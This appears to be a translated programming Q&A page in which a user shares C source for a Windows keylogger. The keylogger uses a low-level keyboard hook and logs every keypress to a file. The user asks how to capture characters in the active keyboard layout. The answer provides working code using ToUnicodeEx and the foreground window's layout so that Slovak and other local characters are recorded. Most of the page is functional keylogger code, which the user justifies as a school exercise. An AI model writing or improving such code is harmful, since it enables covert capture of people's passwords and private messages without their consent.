Windows Hook сохранить языковые символы - PullRequest
0 голосов
/ 08 июня 2019

Ну, у меня есть простая программа, которая сохраняет нажатые клавиши.Но это работает только на английской клавиатуре.Он не может обнаружить любую другую клавиатуру, например, мой словацкий.Слово «школа» сохраняется как «3кола».Потому что «3» и «š» - это одна и та же кнопка на клавиатуре.

#define _CRT_SECURE_NO_WARNINGS
#include <Windows.h>
#include <stdio.h>


HHOOK _hook;
FILE *LOG;
KBDLLHOOKSTRUCT kbdStruct;
char xxx;
LRESULT __stdcall HookCallback(int nCode, WPARAM wParam, LPARAM lParam)
{
    if (nCode >= 0)
    {
        if (wParam == WM_KEYDOWN)
        {
            kbdStruct = *((KBDLLHOOKSTRUCT*)lParam);
            if (kbdStruct.vkCode != 0);
            {
                switch (kbdStruct.vkCode)
                {
                case VK_ESCAPE:
                    fprintf(LOG, "[ESC]");
                    break;
                default:

                    fprintf(LOG, "%c", kbdStruct.vkCode);
                    break;
                }
                fflush(LOG);
            }
        }
    }
    return CallNextHookEx(_hook, nCode, wParam, lParam);
}

void SetHook()
{
    _hook = SetWindowsHookEx(WH_KEYBOARD_LL, HookCallback, NULL, 0);
}

void main()
{
    LOG = fopen("log.txt", "a+" );
    SetHook();
    MSG msg;
    while (GetMessage(&msg, NULL, 0, 0))
    {
    }
    fclose(LOG);
}

Я хочу сохранить символ текущего локального языка.Например.Я написал одно слово на словацком языке «žiak», затем я перешел на английский и написал что-то на английском, а затем на чешском, например.Как я могу сделать, чтобы пользовательский ввод все время сохранялся с местными языковыми символами.(да, это кейлоггер, но это интересный способ выучить C в школе, мы действительно делаем что-то вроде циклов и записи в текстовый файл, и это все, что я знаю: /) Я нашел кое-что о wm_char, с помощью которого можно решить мою проблему, но я не знаю, какиспользуйте это.

1 Ответ

1 голос
/ 09 июня 2019

Если вы хотите сохранить низкоуровневую перехват клавиатуры, вместо того чтобы использовать перехват сообщений, вам придется преобразовать код клавиши, полученный в функции перехвата, и состояние клавиатуры в строку UTF8 на основе текущей локали:

LRESULT __stdcall HookCallback(int nCode, WPARAM wParam, LPARAM lParam)
{
    if (nCode >= 0)
    {
        if (wParam == WM_KEYDOWN)
        {
            kbdStruct = *((KBDLLHOOKSTRUCT*)lParam);
            if (kbdStruct.vkCode != 0)
            {
                switch (kbdStruct.vkCode)
                {
                case VK_ESCAPE:
                    fprintf(LOG, "[ESC]");
                    break;
                default:
                    unsigned char keyboardState[256];
                    for (int i = 0; i < 256; ++i)
                        keyboardState[i] = static_cast<unsigned char>(GetKeyState(i));

                    wchar_t wbuffer[3] = { 0 };

                    int result = ToUnicodeEx(
                        kbdStruct.vkCode, 
                        kbdStruct.scanCode, 
                        keyboardState, 
                        wbuffer, 
                        sizeof(wbuffer) / sizeof(wchar_t), 
                        0, 
                        GetKeyboardLayout(GetWindowThreadProcessId(GetForegroundWindow(), NULL)));
                    if (result > 0)
                    {
                        char buffer[5] = { 0 };
                        WideCharToMultiByte(CP_UTF8, 0, wbuffer, 1, buffer, sizeof(buffer) / sizeof(char), 0, 0);
                        fprintf(LOG, "%s", buffer);
                    }

                    break;
                }
                fflush(LOG);
            }
        }
    }
    return CallNextHookEx(_hook, nCode, wParam, lParam);
}

ToUnicodeEx - это функция, которая выполняет перевод.Ему требуется состояние клавиатуры в дополнение к коду клавиши, поскольку клавиши-модификаторы могут изменять символ.

...